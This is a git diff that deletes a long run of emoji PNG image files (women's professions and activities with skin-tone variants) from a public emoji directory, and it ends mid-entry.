diff --git a/public/-/emojis/2/woman_mechanic.png b/public/-/emojis/2/woman_mechanic.png
deleted file mode 100644
index bb4b3173e50..00000000000
--- a/public/-/emojis/2/woman_mechanic.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mechanic_tone1.png b/public/-/emojis/2/woman_mechanic_tone1.png
deleted file mode 100644
index 0b200d503f2..00000000000
--- a/public/-/emojis/2/woman_mechanic_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mechanic_tone2.png b/public/-/emojis/2/woman_mechanic_tone2.png
deleted file mode 100644
index c505b073323..00000000000
--- a/public/-/emojis/2/woman_mechanic_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mechanic_tone3.png b/public/-/emojis/2/woman_mechanic_tone3.png
deleted file mode 100644
index 3e1cad0c795..00000000000
--- a/public/-/emojis/2/woman_mechanic_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mechanic_tone4.png b/public/-/emojis/2/woman_mechanic_tone4.png
deleted file mode 100644
index dbd28c535ec..00000000000
--- a/public/-/emojis/2/woman_mechanic_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mechanic_tone5.png b/public/-/emojis/2/woman_mechanic_tone5.png
deleted file mode 100644
index ff49c2a2016..00000000000
--- a/public/-/emojis/2/woman_mechanic_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mountain_biking.png b/public/-/emojis/2/woman_mountain_biking.png
deleted file mode 100644
index 48167a9d608..00000000000
--- a/public/-/emojis/2/woman_mountain_biking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mountain_biking_tone1.png b/public/-/emojis/2/woman_mountain_biking_tone1.png
deleted file mode 100644
index 0f73ce8e662..00000000000
--- a/public/-/emojis/2/woman_mountain_biking_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mountain_biking_tone2.png b/public/-/emojis/2/woman_mountain_biking_tone2.png
deleted file mode 100644
index 2f6200b5555..00000000000
--- a/public/-/emojis/2/woman_mountain_biking_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mountain_biking_tone3.png b/public/-/emojis/2/woman_mountain_biking_tone3.png
deleted file mode 100644
index 4e3b49575e8..00000000000
--- a/public/-/emojis/2/woman_mountain_biking_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mountain_biking_tone4.png b/public/-/emojis/2/woman_mountain_biking_tone4.png
deleted file mode 100644
index afbb9823e53..00000000000
--- a/public/-/emojis/2/woman_mountain_biking_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mountain_biking_tone5.png b/public/-/emojis/2/woman_mountain_biking_tone5.png
deleted file mode 100644
index dc281c8ede5..00000000000
--- a/public/-/emojis/2/woman_mountain_biking_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_office_worker.png b/public/-/emojis/2/woman_office_worker.png
deleted file mode 100644
index b8d9f28ea0b..00000000000
--- a/public/-/emojis/2/woman_office_worker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_office_worker_tone1.png b/public/-/emojis/2/woman_office_worker_tone1.png
deleted file mode 100644
index e97ea8b2fab..00000000000
--- a/public/-/emojis/2/woman_office_worker_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_office_worker_tone2.png b/public/-/emojis/2/woman_office_worker_tone2.png
deleted file mode 100644
index d295ff46a5d..00000000000
--- a/public/-/emojis/2/woman_office_worker_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_office_worker_tone3.png b/public/-/emojis/2/woman_office_worker_tone3.png
deleted file mode 100644
index 0293d1bd36a..00000000000
--- a/public/-/emojis/2/woman_office_worker_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_office_worker_tone4.png b/public/-/emojis/2/woman_office_worker_tone4.png
deleted file mode 100644
index ae4f38948e2..00000000000
--- a/public/-/emojis/2/woman_office_worker_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_office_worker_tone5.png b/public/-/emojis/2/woman_office_worker_tone5.png
deleted file mode 100644
index 89cd36d3f08..00000000000
--- a/public/-/emojis/2/woman_office_worker_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pilot.png b/public/-/emojis/2/woman_pilot.png
deleted file mode 100644
index 72db73fd7f3..00000000000
--- a/public/-/emojis/2/woman_pilot.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pilot_tone1.png b/public/-/emojis/2/woman_pilot_tone1.png
deleted file mode 100644
index 9881cede5d6..00000000000
--- a/public/-/emojis/2/woman_pilot_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pilot_tone2.png b/public/-/emojis/2/woman_pilot_tone2.png
deleted file mode 100644
index ebecc5ebd68..00000000000
--- a/public/-/emojis/2/woman_pilot_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pilot_tone3.png b/public/-/emojis/2/woman_pilot_tone3.png
deleted file mode 100644
index be284491ecc..00000000000
--- a/public/-/emojis/2/woman_pilot_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pilot_tone4.png b/public/-/emojis/2/woman_pilot_tone4.png
deleted file mode 100644
index 88b644133f9..00000000000
--- a/public/-/emojis/2/woman_pilot_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pilot_tone5.png b/public/-/emojis/2/woman_pilot_tone5.png
deleted file mode 100644
index f9958ba6447..00000000000
--- a/public/-/emojis/2/woman_pilot_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_handball.png b/public/-/emojis/2/woman_playing_handball.png
deleted file mode 100644
index 46914c76b75..00000000000
--- a/public/-/emojis/2/woman_playing_handball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_handball_tone1.png b/public/-/emojis/2/woman_playing_handball_tone1.png
deleted file mode 100644
index 33f2bf40970..00000000000
--- a/public/-/emojis/2/woman_playing_handball_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_handball_tone2.png b/public/-/emojis/2/woman_playing_handball_tone2.png
deleted file mode 100644
index 97425916933..00000000000
--- a/public/-/emojis/2/woman_playing_handball_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_handball_tone3.png b/public/-/emojis/2/woman_playing_handball_tone3.png
deleted file mode 100644
index af9c72cee25..00000000000
--- a/public/-/emojis/2/woman_playing_handball_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_handball_tone4.png b/public/-/emojis/2/woman_playing_handball_tone4.png
deleted file mode 100644
index be6b9ef13ea..00000000000
--- a/public/-/emojis/2/woman_playing_handball_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_handball_tone5.png b/public/-/emojis/2/woman_playing_handball_tone5.png
deleted file mode 100644
index a15604f0ea9..00000000000
--- a/public/-/emojis/2/woman_playing_handball_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_water_polo.png b/public/-/emojis/2/woman_playing_water_polo.png
deleted file mode 100644
index 73855590e8f..00000000000
--- a/public/-/emojis/2/woman_playing_water_polo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_water_polo_tone1.png b/public/-/emojis/2/woman_playing_water_polo_tone1.png
deleted file mode 100644
index 8c9da086a9c..00000000000
--- a/public/-/emojis/2/woman_playing_water_polo_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_water_polo_tone2.png b/public/-/emojis/2/woman_playing_water_polo_tone2.png
deleted file mode 100644
index f81ced94ea4..00000000000
--- a/public/-/emojis/2/woman_playing_water_polo_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_water_polo_tone3.png b/public/-/emojis/2/woman_playing_water_polo_tone3.png
deleted file mode 100644
index 97114f08619..00000000000
--- a/public/-/emojis/2/woman_playing_water_polo_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_water_polo_tone4.png b/public/-/emojis/2/woman_playing_water_polo_tone4.png
deleted file mode 100644
index da4676b6471..00000000000
--- a/public/-/emojis/2/woman_playing_water_polo_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_playing_water_polo_tone5.png b/public/-/emojis/2/woman_playing_water_polo_tone5.png
deleted file mode 100644
index f0b533e1c77..00000000000
--- a/public/-/emojis/2/woman_playing_water_polo_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_police_officer.png b/public/-/emojis/2/woman_police_officer.png
deleted file mode 100644
index b6d5ccfc976..00000000000
--- a/public/-/emojis/2/woman_police_officer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_police_officer_tone1.png b/public/-/emojis/2/woman_police_officer_tone1.png
deleted file mode 100644
index e8485109dd5..00000000000
--- a/public/-/emojis/2/woman_police_officer_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_police_officer_tone2.png b/public/-/emojis/2/woman_police_officer_tone2.png
deleted file mode 100644
index 8671f1eae19..00000000000
--- a/public/-/emojis/2/woman_police_officer_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_police_officer_tone3.png b/public/-/emojis/2/woman_police_officer_tone3.png
deleted file mode 100644
index 44ecc97dea4..00000000000
--- a/public/-/emojis/2/woman_police_officer_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_police_officer_tone4.png b/public/-/emojis/2/woman_police_officer_tone4.png
deleted file mode 100644
index 132211d51a0..00000000000
--- a/public/-/emojis/2/woman_police_officer_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_police_officer_tone5.png b/public/-/emojis/2/woman_police_officer_tone5.png
deleted file mode 100644
index 64b813539f7..00000000000
--- a/public/-/emojis/2/woman_police_officer_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pouting.png b/public/-/emojis/2/woman_pouting.png
deleted file mode 100644
index b42904d3136..00000000000
--- a/public/-/emojis/2/woman_pouting.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pouting_tone1.png b/public/-/emojis/2/woman_pouting_tone1.png
deleted file mode 100644
index 9d2a45984d7..00000000000
--- a/public/-/emojis/2/woman_pouting_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pouting_tone2.png b/public/-/emojis/2/woman_pouting_tone2.png
deleted file mode 100644
index 6bba7557871..00000000000
--- a/public/-/emojis/2/woman_pouting_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pouting_tone3.png b/public/-/emojis/2/woman_pouting_tone3.png
deleted file mode 100644
index d94652d5653..00000000000
--- a/public/-/emojis/2/woman_pouting_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pouting_tone4.png b/public/-/emojis/2/woman_pouting_tone4.png
deleted file mode 100644
index 4ce7499ad5e..00000000000
--- a/public/-/emojis/2/woman_pouting_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_pouting_tone5.png b/public/-/emojis/2/woman_pouting_tone5.png
deleted file mode 100644
index e2c9364ae76..00000000000
--- a/public/-/emojis/2/woman_pouting_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_raising_hand.png b/public/-/emojis/2/woman_raising_hand.png
deleted file mode 100644
index 086ade48685..00000000000
--- a/public/-/emojis/2/woman_raising_hand.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_raising_hand_tone1.png b/public/-/emojis/2/woman_raising_hand_tone1.png
deleted file mode 100644
index 7aa36e131b9..00000000000
--- a/public/-/emojis/2/woman_raising_hand_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_raising_hand_tone2.png b/public/-/emojis/2/woman_raising_hand_tone2.png
deleted file mode 100644
index 2b1088d1820..00000000000
--- a/public/-/emojis/2/woman_raising_hand_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_raising_hand_tone3.png b/public/-/emojis/2/woman_raising_hand_tone3.png
deleted file mode 100644
index 03ad8e4ce13..00000000000
--- a/public/-/emojis/2/woman_raising_hand_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_raising_hand_tone4.png b/public/-/emojis/2/woman_raising_hand_tone4.png
deleted file mode 100644
index 4f3f3cc3eed..00000000000
--- a/public/-/emojis/2/woman_raising_hand_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_raising_hand_tone5.png b/public/-/emojis/2/woman_raising_hand_tone5.png
deleted file mode 100644
index 706a2560f07..00000000000
--- a/public/-/emojis/2/woman_raising_hand_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_red_haired.png b/public/-/emojis/2/woman_red_haired.png
deleted file mode 100644
index 9b71de053b4..00000000000
--- a/public/-/emojis/2/woman_red_haired.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_red_haired_tone1.png b/public/-/emojis/2/woman_red_haired_tone1.png
deleted file mode 100644
index f58e8fa7166..00000000000
--- a/public/-/emojis/2/woman_red_haired_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_red_haired_tone2.png b/public/-/emojis/2/woman_red_haired_tone2.png
deleted file mode 100644
index 266841c9333..00000000000
--- a/public/-/emojis/2/woman_red_haired_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_red_haired_tone3.png b/public/-/emojis/2/woman_red_haired_tone3.png
deleted file mode 100644
index f3cfbeb5d8d..00000000000
--- a/public/-/emojis/2/woman_red_haired_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_red_haired_tone4.png b/public/-/emojis/2/woman_red_haired_tone4.png
deleted file mode 100644
index 854e70d5162..00000000000
--- a/public/-/emojis/2/woman_red_haired_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_red_haired_tone5.png b/public/-/emojis/2/woman_red_haired_tone5.png
deleted file mode 100644
index 8800a52924e..00000000000
--- a/public/-/emojis/2/woman_red_haired_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_rowing_boat.png b/public/-/emojis/2/woman_rowing_boat.png
deleted file mode 100644
index 7c49f572c99..00000000000
--- a/public/-/emojis/2/woman_rowing_boat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_rowing_boat_tone1.png b/public/-/emojis/2/woman_rowing_boat_tone1.png
deleted file mode 100644
index f26daa21818..00000000000
--- a/public/-/emojis/2/woman_rowing_boat_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_rowing_boat_tone2.png b/public/-/emojis/2/woman_rowing_boat_tone2.png
deleted file mode 100644
index 0b401bc1da0..00000000000
--- a/public/-/emojis/2/woman_rowing_boat_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_rowing_boat_tone3.png b/public/-/emojis/2/woman_rowing_boat_tone3.png
deleted file mode 100644
index 72bf7c9ff6f..00000000000
--- a/public/-/emojis/2/woman_rowing_boat_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_rowing_boat_tone4.png b/public/-/emojis/2/woman_rowing_boat_tone4.png
deleted file mode 100644
index 95ebc5cf16c..00000000000
--- a/public/-/emojis/2/woman_rowing_boat_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_rowing_boat_tone5.png b/public/-/emojis/2/woman_rowing_boat_tone5.png
deleted file mode 100644
index 81819900098..00000000000
--- a/public/-/emojis/2/woman_rowing_boat_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_running.png b/public/-/emojis/2/woman_running.png
deleted file mode 100644
index f78e1c9b307..00000000000
--- a/public/-/emojis/2/woman_running.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_running_tone1.png b/public/-/emojis/2/woman_running_tone1.png
deleted file mode 100644
index 79867bfdbd6..00000000000
--- a/public/-/emojis/2/woman_running_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_running_tone2.png b/public/-/emojis/2/woman_running_tone2.png
deleted file mode 100644
index ecd67448276..00000000000
--- a/public/-/emojis/2/woman_running_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_running_tone3.png b/public/-/emojis/2/woman_running_tone3.png
deleted file mode 100644
index d8724141285..00000000000
--- a/public/-/emojis/2/woman_running_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_running_tone4.png b/public/-/emojis/2/woman_running_tone4.png
deleted file mode 100644
index 2662bd87112..00000000000
--- a/public/-/emojis/2/woman_running_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_running_tone5.png b/public/-/emojis/2/woman_running_tone5.png
deleted file mode 100644
index 425cb9826cd..00000000000
--- a/public/-/emojis/2/woman_running_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_scientist.png b/public/-/emojis/2/woman_scientist.png
deleted file mode 100644
index 48cfed13a5b..00000000000
--- a/public/-/emojis/2/woman_scientist.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_scientist_tone1.png b/public/-/emojis/2/woman_scientist_tone1.png
deleted file mode 100644
index 3e85e1e2cdf..00000000000
--- a/public/-/emojis/2/woman_scientist_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_scientist_tone2.png b/public/-/emojis/2/woman_scientist_tone2.png
deleted file mode 100644
index a44d6790035..00000000000
--- a/public/-/emojis/2/woman_scientist_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_scientist_tone3.png b/public/-/emojis/2/woman_scientist_tone3.png
deleted file mode 100644
index 883d14e45e6..00000000000
--- a/public/-/emojis/2/woman_scientist_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_scientist_tone4.png b/public/-/emojis/2/woman_scientist_tone4.png
deleted file mode 100644
index 5dd49f95dea..00000000000
--- a/public/-/emojis/2/woman_scientist_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_scientist_tone5.png b/public/-/emojis/2/woman_scientist_tone5.png
deleted file mode 100644
index 4382bf03b8a..00000000000
--- a/public/-/emojis/2/woman_scientist_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_shrugging.png b/public/-/emojis/2/woman_shrugging.png
deleted file mode 100644
index e010cfd634f..00000000000
--- a/public/-/emojis/2/woman_shrugging.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_shrugging_tone1.png b/public/-/emojis/2/woman_shrugging_tone1.png
deleted file mode 100644
index b1d83a6dee3..00000000000
--- a/public/-/emojis/2/woman_shrugging_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_shrugging_tone2.png b/public/-/emojis/2/woman_shrugging_tone2.png
deleted file mode 100644
index a5b66e5466d..00000000000
--- a/public/-/emojis/2/woman_shrugging_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_shrugging_tone3.png b/public/-/emojis/2/woman_shrugging_tone3.png
deleted file mode 100644
index d8a0be8d9b6..00000000000
--- a/public/-/emojis/2/woman_shrugging_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_shrugging_tone4.png b/public/-/emojis/2/woman_shrugging_tone4.png
deleted file mode 100644
index 7dfb1c1eccc..00000000000
--- a/public/-/emojis/2/woman_shrugging_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_shrugging_tone5.png b/public/-/emojis/2/woman_shrugging_tone5.png
deleted file mode 100644
index 00c7cabd5a9..00000000000
--- a/public/-/emojis/2/woman_shrugging_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_singer.png b/public/-/emojis/2/woman_singer.png
deleted file mode 100644
index 452b488f723..00000000000
--- a/public/-/emojis/2/woman_singer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_singer_tone1.png b/public/-/emojis/2/woman_singer_tone1.png
deleted file mode 100644
index 28b1ca36db8..00000000000
--- a/public/-/emojis/2/woman_singer_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_singer_tone2.png b/public/-/emojis/2/woman_singer_tone2.png
deleted file mode 100644
index a97c855fc16..00000000000
--- a/public/-/emojis/2/woman_singer_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_singer_tone3.png b/public/-/emojis/2/woman_singer_tone3.png
deleted file mode 100644
index 8a0dadda4d1..00000000000
--- a/public/-/emojis/2/woman_singer_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_singer_tone4.png b/public/-/emojis/2/woman_singer_tone4.png
deleted file mode 100644
index 317d41eab15..00000000000
--- a/public/-/emojis/2/woman_singer_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_singer_tone5.png b/public/-/emojis/2/woman_singer_tone5.png
deleted file mode 100644
index e0f9b5f7aa6..00000000000
--- a/public/-/emojis/2/woman_singer_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_student.png b/public/-/emojis/2/woman_student.png
deleted file mode 100644
index 55577389f17..00000000000
--- a/public/-/emojis/2/woman_student.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_student_tone1.png b/public/-/emojis/2/woman_student_tone1.png
deleted file mode 100644
index a71e7f0f796..00000000000
--- a/public/-/emojis/2/woman_student_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_student_tone2.png b/public/-/emojis/2/woman_student_tone2.png
deleted file mode 100644
index bab3ea20c38..00000000000
--- a/public/-/emojis/2/woman_student_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_student_tone3.png b/public/-/emojis/2/woman_student_tone3.png
deleted file mode 100644
index 1004ae774f9..00000000000
--- a/public/-/emojis/2/woman_student_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_student_tone4.png b/public/-/emojis/2/woman_student_tone4.png
deleted file mode 100644
index 8e88bc1fbac..00000000000
--- a/public/-/emojis/2/woman_student_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_student_tone5.png b/public/-/emojis/2/woman_student_tone5.png
deleted file mode 100644
index a9b3808995a..00000000000
--- a/public/-/emojis/2/woman_student_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_superhero.png b/public/-/emojis/2/woman_superhero.png
deleted file mode 100644
index 1abddc8d5cd..00000000000
--- a/public/-/emojis/2/woman_superhero.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_superhero_tone1.png b/public/-/emojis/2/woman_superhero_tone1.png
deleted file mode 100644
index f43c9fe5478..00000000000
--- a/public/-/emojis/2/woman_superhero_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_superhero_tone2.png b/public/-/emojis/2/woman_superhero_tone2.png
deleted file mode 100644
index 974e6f1381e..00000000000
--- a/public/-/emojis/2/woman_superhero_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_superhero_tone3.png b/public/-/emojis/2/woman_superhero_tone3.png
deleted file mode 100644
index a52bb5ce590..00000000000
--- a/public/-/emojis/2/woman_superhero_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_superhero_tone4.png b/public/-/emojis/2/woman_superhero_tone4.png
deleted file mode 100644
index f6320f384a0..00000000000
--- a/public/-/emojis/2/woman_superhero_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_superhero_tone5.png b/public/-/emojis/2/woman_superhero_tone5.png
deleted file mode 100644
index 2218f07f313..00000000000
--- a/public/-/emojis/2/woman_superhero_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_supervillain.png b/public/-/emojis/2/woman_supervillain.png
deleted file mode 100644
index 8e887b2df2b..00000000000
--- a/public/-/emojis/2/woman_supervillain.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_supervillain_tone1.png b/public/-/emojis/2/woman_supervillain_tone1.png
deleted file mode 100644
index dafd7ac1aba..00000000000
--- a/public/-/emojis/2/woman_supervillain_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_supervillain_tone2.png b/public/-/emojis/2/woman_supervillain_tone2.png
deleted file mode 100644
index 4ab551a720f..00000000000
--- a/public/-/emojis/2/woman_supervillain_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_supervillain_tone3.png b/public/-/emojis/2/woman_supervillain_tone3.png
deleted file mode 100644
index 2a23ad72909..00000000000
--- a/public/-/emojis/2/woman_supervillain_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_supervillain_tone4.png b/public/-/emojis/2/woman_supervillain_tone4.png
deleted file mode 100644
index 440e4b307d0..00000000000
--- a/public/-/emojis/2/woman_supervillain_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_supervillain_tone5.png b/public/-/emojis/2/woman_supervillain_tone5.png
deleted file mode 100644
index cd1f65d2853..00000000000
--- a/public/-/emojis/2/woman_supervillain_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_surfing.png b/public/-/emojis/2/woman_surfing.png
deleted file mode 100644
index 5fec347300c..00000000000
--- a/public/-/emojis/2/woman_surfing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_surfing_tone1.png b/public/-/emojis/2/woman_surfing_tone1.png
deleted file mode 100644
index a9d75aad155..00000000000
--- a/public/-/emojis/2/woman_surfing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_surfing_tone2.png b/public/-/emojis/2/woman_surfing_tone2.png
deleted file mode 100644
index e2ac86595c1..00000000000
--- a/public/-/emojis/2/woman_surfing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_surfing_tone3.png b/public/-/emojis/2/woman_surfing_tone3.png
deleted file mode 100644
index 1af820679de..00000000000
--- a/public/-/emojis/2/woman_surfing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_surfing_tone4.png b/public/-/emojis/2/woman_surfing_tone4.png
deleted file mode 100644
index c97ad6e00a3..00000000000
--- a/public/-/emojis/2/woman_surfing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_surfing_tone5.png b/public/-/emojis/2/woman_surfing_tone5.png
deleted file mode 100644
index 1edf09ad601..00000000000
--- a/public/-/emojis/2/woman_surfing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_swimming.png b/public/-/emojis/2/woman_swimming.png
deleted file mode 100644
index 462f9b1fb80..00000000000
--- a/public/-/emojis/2/woman_swimming.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_swimming_tone1.png b/public/-/emojis/2/woman_swimming_tone1.png
deleted file mode 100644
index 9b9ef18de24..00000000000
--- a/public/-/emojis/2/woman_swimming_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_swimming_tone2.png b/public/-/emojis/2/woman_swimming_tone2.png
deleted file mode 100644
index a968eeafb00..00000000000
--- a/public/-/emojis/2/woman_swimming_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_swimming_tone3.png b/public/-/emojis/2/woman_swimming_tone3.png
deleted file mode 100644
index 439a532b1c0..00000000000
--- a/public/-/emojis/2/woman_swimming_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_swimming_tone4.png b/public/-/emojis/2/woman_swimming_tone4.png
deleted file mode 100644
index 82b1bbcd5ca..00000000000
--- a/public/-/emojis/2/woman_swimming_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_swimming_tone5.png b/public/-/emojis/2/woman_swimming_tone5.png
deleted file mode 100644
index 082805d9878..00000000000
--- a/public/-/emojis/2/woman_swimming_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_teacher.png b/public/-/emojis/2/woman_teacher.png
deleted file mode 100644
index 174496067a3..00000000000
--- a/public/-/emojis/2/woman_teacher.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_teacher_tone1.png b/public/-/emojis/2/woman_teacher_tone1.png
deleted file mode 100644
index ee1c144c0a4..00000000000
--- a/public/-/emojis/2/woman_teacher_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_teacher_tone2.png b/public/-/emojis/2/woman_teacher_tone2.png
deleted file mode 100644
index 41bec252396..00000000000
--- a/public/-/emojis/2/woman_teacher_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_teacher_tone3.png b/public/-/emojis/2/woman_teacher_tone3.png
deleted file mode 100644
index bc3430aa223..00000000000
